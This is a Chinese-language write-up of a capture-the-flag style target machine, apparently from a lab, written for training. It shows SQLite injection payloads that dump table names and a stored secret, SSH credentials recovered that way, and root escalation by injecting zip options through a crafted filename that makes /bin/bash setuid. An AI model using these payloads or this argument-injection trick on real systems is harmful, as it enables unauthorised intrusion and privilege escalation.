信息收集

全端口扫描,发现5000端口开放

提供了一个WEB服务

尝试弱口令无果,扫描目录也只有/login/register路由

外网打点

注册一个正常用户,进入到用户交互页面:

访问系统管理提示需要管理员,观察请求头可以发现是JWT鉴权,尝试爆破密钥:

后端多了一个更新接口,似乎并没有更多可用信息:

起初感觉是原型链污染,但是缺少源码也没法分析
当输入引号时出现报错:

似乎是SQL注入

根据报错信息可以看出来数据库是SQLite,尝试读取版本信息

1
'|| (select sqlite_version())--+

查表:

1
'|| (select group_concat(tbl_name, '|') from sqlite_master)--+

secret表很扎眼,看一下

1
'|| (select sql from sqlite_master where type='table' and name='secret')--+

读取到secret:

1
'|| (select secret from secret)--+
1
watcher:mazesec123q1231w!@#!@@#$


这就是ssh账密,连上靶机

获得用户flag

1
flag{user-c3949567202847f1ad8664095f0a94e4}

提权(非预期)

存在一个非预期解法,直接打CVE-2026-43494-PinTheft即可提权:

读取root flag:

1
flag{root-6661e4dc99e9408984d16d30b0c0730c}

提权

先尝试拿LinEnum扫了一下常见提权点,并没有什么发现

ps -ef查看下当前进程情况:

注意到了

1
2
inotifywait -m -e create /home/watcher/uploads
/bin/bash /opt/autoarchive/sync.sh

这两项都以root权限运行,是很可疑的提权点,但是很可惜/opt/autoarchive/sync.sh无法直接读取,尝试用pspy监测一下进程运行情况:

uploads文件夹新增txt文件时可以看到抓到了sh脚本似乎调用了zip来进行归档压缩。

PS: 此处窗口期很短,不一定每次都能抓到

推测脚本使用了通配符匹配,尝试参数注入,利用zip-TT参数来执行命令

先在uploads目录创建一个包含命令的cmd.txt文件:

1
2
#!/bin/bash
chmod 4755 /bin/bash

附上执行权限

1
chmod +x cmd.txt

参数注入文件:

1
echo > "-T -TT cmd.txt"

bash加上suid,即可直接提权

1
flag{root-6661e4dc99e9408984d16d30b0c0730c}